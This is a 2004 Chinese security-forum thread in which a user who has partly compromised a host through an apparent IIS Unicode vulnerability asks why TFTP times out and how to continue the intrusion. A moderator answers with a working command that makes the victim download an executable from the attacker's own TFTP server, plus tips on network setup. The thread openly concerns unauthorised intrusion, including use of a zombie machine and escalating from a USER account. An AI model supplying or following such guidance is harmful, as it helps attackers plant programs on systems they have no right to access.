论坛: 菜鸟乐园 标题: U漏洞为什么TFTP? 复制本贴地址    
作者: yingjie [yingjie]    论坛用户   登录
我找到一个U漏洞主机不知道为什么不能tftp,tftp总是显示TIME OUT!
我都郁闷了!请高手指教・!

地主 发表时间: 04-01-13 12:46

回复: fshell [fshell]   论坛用户   登录
你是用什么机子tftp的? 在很多网吧里的就不行,我试过。好象要真实的ip和支持tftp的批处理文件

B1层 发表时间: 04-01-13 22:49

回复: yingjie [yingjie]   论坛用户   登录
谢谢你!
我用的是我的肉机,有自己的IP.
现在我找到一个有USER权限的用户,不知道还怎么进行下一步的入侵呢!
请指教!

B2层 发表时间: 04-01-24 11:34

回复: BearKing [bking]   版主   登录
用TFTP来实现文件的传送是一种基于UDP连接的文件传输,一般是使用Windows自带的tftp.exe和一个TFTP服务器端软件构成一个完整的传输结构。它是这样使用的: 首先运行本地的TFTP Server(比如tftpd32.exe)软件并保证始终开启直至传输全部完成, 然后在telnet中(当然你也可以在其他shell中)运行下面的命令:
C:\>tftp �Ci ip get xinxin.exe c:\abc\xinxin.exe
其中ip为你自己机器的ip,且上传文件要与TFTP服务器端在同一目录下,这样你就可以把xinxin.exe上传到c盘abc目录下了(其实是从tftp服务器下载来的)

需要指出的是,如果使用代理IP,你将不能实现与外部网络的文件传送。因为你的代理网关在进行数据封装的时候会将自己的IP地址加入到你的数据报中,代替你的内部网络地址,所以在外部网络进行MAC寻址时是找不到你这台TFTP服务器的。


B3层 发表时间: 04-01-24 12:13

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号